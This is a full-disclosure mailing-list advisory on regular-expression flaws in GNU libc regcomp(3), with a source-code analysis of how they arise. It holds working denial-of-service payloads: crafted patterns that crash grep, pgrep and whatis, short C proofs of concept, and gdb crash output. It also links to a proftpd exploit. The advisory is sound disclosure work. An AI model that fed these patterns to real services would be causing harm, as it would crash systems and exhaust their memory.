[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] GNU libc/regcomp(3) Multiple Vulnerabilities



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ GNU libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 01.10.2010
- - Pub.: 07.01.2011

CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052

Affected (tested):
- - Ubuntu 10.10
- - Slackware 13
- - Gentoo 18.10.2010
- - FreeBSD 8.1 (grep(1))
- - NetBSD 5.0.2 (grep(1))

Original URL:
http://securityreason.com/achievement_securityalert/93

Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c


- --- 0.Description ---
The GNU C library is used as the C library in the GNU system and most
systems with the Linux kernel.

# define RE_DUP_MAX (0x7fff)

regcomp() is used to compile a regular expression into a form that is
suitable for subsequent regexec() searches.


- --- 1. RE_DUP_MAX overflow ---
The main problem exists in regcomp(3) function of GNU libc
implementation. Let`s try understand..

- ---
int
regcomp (preg, pattern, cflags)
    regex_t *__restrict preg;
    const char *__restrict pattern;
    int cflags;
{
- ---

if we use '{', token type will be OP_OPEN_DUP_NUM.

- ---
/* This function parse repetition operators like "*", "+", "{1,3}" etc.  */

static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
              re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
  bin_tree_t *tree = NULL, *old_tree = NULL;
  int i, start, end, start_idx = re_string_cur_idx (regexp);
  re_token_t start_token = *token;

  if (token->type == OP_OPEN_DUP_NUM)
    {
      end = 0;
      start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
- ---

let`s see fetch_number =>

- ---
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
  int num = -1;
  unsigned char c;
  while (1)
    {
      fetch_token (token, input, syntax);
      c = token->opr.c;
      if (BE (token->type == END_OF_RE, 0))
        return -2;
      if (token->type == OP_CLOSE_DUP_NUM || c == ',')
        break;
      num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
             ? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
      num = (num > RE_DUP_MAX) ? -2 : num;
    }
  return num;
}
- ---

now see regex.h to know, what value have RE_DUP_MAX

- ---
/* Maximum number of duplicates an interval can allow.  Some systems
   (erroneously) define this in other header files, but we want our
   value, so remove any previous define.  */
# ifdef RE_DUP_MAX
#  undef RE_DUP_MAX
# endif
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows.  */
# define RE_DUP_MAX (0x7fff)
#endif
- ---

calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.

so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return
ERROR if we use more that one time '{' token.

They are many vectors attack

grep(1):
cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

pgrep(1):
cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

bregex from bacula-director-common
cx@cx64:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault

whatis(1):
cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

and more like proftpd.

Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2:      mov    %eax,0x50(%rsp)
(gdb) x/i $eax
   0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
   0x7fffff5fef90:      Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08


#0  0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1  0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2  0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3  0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4  0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5  0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6  0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7  0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
...

- ---PoC1---
#include <regex.h>

int main(){
  regex_t preg;

//  char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
  char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051

  regcomp (&preg, fmt, REG_EXTENDED);

  return 0;
}
- ---PoC1---

- --- 2. Stack Exhausion ---
This issue, may be also use to Denial of Service by stack exhausion

#ls |grep -E ".*{10,}{10,}{111111,}"

- ---PoC2---
#include <regex.h>

int
main ()
{
  regex_t preg;

  char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
//  char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051

  regcomp (&preg, fmt, REG_EXTENDED);

  return 0;
}
- ---PoC2---

Such a pattern may lead to allocate a large memory area, or large
execution time

As we can read in vsftpd/HACKING

- ---
 - do not use libc features that are "complicated"
   and may contain security holes. For example, you probably shouldn't
   try to use regcomp() to compile an untrusted regular expression.
   Regular expressions are just too complicated, and there are many
   different libc's out there.
- ---

That's true. But the worst implementation of lib C is GNU. There is a
huge difference using proftpd on NetBSD and Linux


- --- 3. Stack Exhausions ---
Stack Exhausions was found in GNU glibc.

- ---PoC3---
 /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
- ---PoC3---

when more '+' that more allocated memory. But let's see next one

- ---PoC4---
cx@cx64:~$ ulimit -m 100000
cx@cx64:~$ ulimit -v 200000
cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
Segmentation fault
cx@cx64:~$
- ---PoC4---

the same command like in PoC 3, fails.

(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted

Add one "+" more

Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x7ffff720a010) at malloc.c:3709
3709      if (chunk_is_mmapped(p))                       /* release
mmapped memory. */
(gdb) bt
#0  __libc_free (mem=0x7ffff720a010) at malloc.c:3709
#1  0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
#2  0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
    length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
#3  0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
    length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231

- ---malloc.c---
...
  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk(mem);

#if HAVE_MMAP
  if (chunk_is_mmapped(p))
...
- ---malloc.c---

where
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

mem variable (mem=0x7ffff720a010)

(gdb) x/x 0x7ffff720a010
0x7ffff720a010: 0x00

or

(gdb) x/x 0x7ffff720a010
0x7ffff720a010: Cannot access memory at address 0x7ffff720a010

(gdb) x/i $rip
=> 0x7ffff78d2c2d <__libc_free+29>:     mov    -0x8(%rdi),%rsi
(gdb) x/i $rdi
   0x7ffff7ed3010:      Cannot access memory at address 0x7ffff7ed3010
(gdb) x/i $rsi
   0x0: Cannot access memory at address 0x0

or check this

(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx

Program received signal SIGSEGV, Segmentation fault.
parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
    token=0x7fffffffe010, syntax=<value optimized out>,
    nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547
2547      if (elem->token.type == SUBEXP)
(gdb) x/i $rip
=> 0x7ffff7922644 <parse_expression+756>:       cmpb   $0x11,0x30(%r15)
(gdb) x/i $r15
   0x0: Cannot access memory at address 0x0

rax            0x0      0
rbx            0x61f0c0 6418624
rcx            0xffffffffffffffa8       -88
rdx            0x0      0
rsi            0x61f0c0 6418624
rdi            0x0      0
rbp            0x7fffffffe010   0x7fffffffe010
rsp            0x7fffffffdb70   0x7fffffffdb70
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x4022   16418
r11            0x246    582
r12            0x7fffffffdf70   140737488346992
r13            0x4730ae8        74648296
r14            0xffffffff       4294967295
r15            0x0      0
rip            0x7ffff7922644   0x7ffff7922644 <parse_expression+756>

#0  parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
    token=0x7fffffffe010, syntax=<value optimized out>,
    nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547
#1  parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
    token=0x7fffffffe010, syntax=<value optimized out>,
    nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2390
#2  0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0,
token=0x0,
    syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
#3  parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
    syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122


  if (BE (start > 0, 0))
    {
      tree = elem;
      for (i = 2; i <= start; ++i)
        {
          elem = duplicate_tree (elem, dfa);
          tree = create_tree (dfa, tree, elem, CONCAT);
          if (BE (elem == NULL || tree == NULL, 0))
            goto parse_dup_op_espace;
        }

      if (start == end)
        return tree;

      /* Duplicate ELEM before it is marked optional.  */
      elem = duplicate_tree (elem, dfa);
      old_tree = tree;
    }
  else
    old_tree = NULL;

  if (elem->token.type == SUBEXP) <=CRASH HERE

These vulnerabilities are not really dangerous. However, there is the
possibility to use the DoS attack. An example might be an exploit for
proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion,
the GNU should fix the problem.


- --- 4. Exploit ---
proftpd/linux:
http://cxib.net/stuff/proftpd.gnu.c


- --- 5. Greets ---
Christos Zoulas, US-CERT, sp3x, Infospec


- --- 6. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/
- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@xxxxxxxx>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJNJxG9AAoJEIO8+dzW5bUweKwQAJVdeCsIuj1yV5W9yyqLIToI
AWmrPwxQ3PMUReUSbwZG1NGSwbku2ewmBQGRks8KCrph02cijmCOoNg3JT9dSWT+
CqB0uyOT5k1ableuuDI3QYQqWJIgykzbLg1Wy8CUnFv5QnaB030TX9d5p4JFzEMj
Id6q7h1rVTjezLXndEsw2kj5e9DSeItPe2nFUEx1lZL7uD3g7QfFxdDProrH548R
xtp1zW+sYx8LgWkXSz520ZJZi3zWcuc5U73jSqBQrTfWkBST30Lgp8t+WkQ5cvCK
iEdneMWyAi17ULfnGhGsiwr9NtjHwsZHuRRV2ZkmVM9/u74X0fINEVeUDRs/xfpf
t/GdgPgjxZzsr3mQvfiC8fYi+evCcudlzA2BztNNPbB02dmbgWKyx/xNjrMyVQvF
EXWtSMi7UJ5hxDpuUYhPNggl+8/HoJXu/vt4zmaf+l+5NiTdC6npUtJ+r/q08G7G
9eAb8dEt7oVSV8r6T7BYeGiYJSYYScvOqkPUNBIxlrbLuvfI83sUTukLXhmadC/2
2HsZhUtkwToMrbS05oU4AsSQdLfW5ccCeXenLbx5mLrhvHK+0vHoKLnDgK54O68E
/zHbG2/lLurxP4hh5tau/AQpw6Djkt58wKCKrFatorXHHRmdpb0ZLFoZNn1nqtDA
+/UQwkv+vqn9b/B/rCOZ
=/MZ9
-----END PGP SIGNATURE-----

Attachment: 0xD6E5B530.asc
Description: application/pgp-keys

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/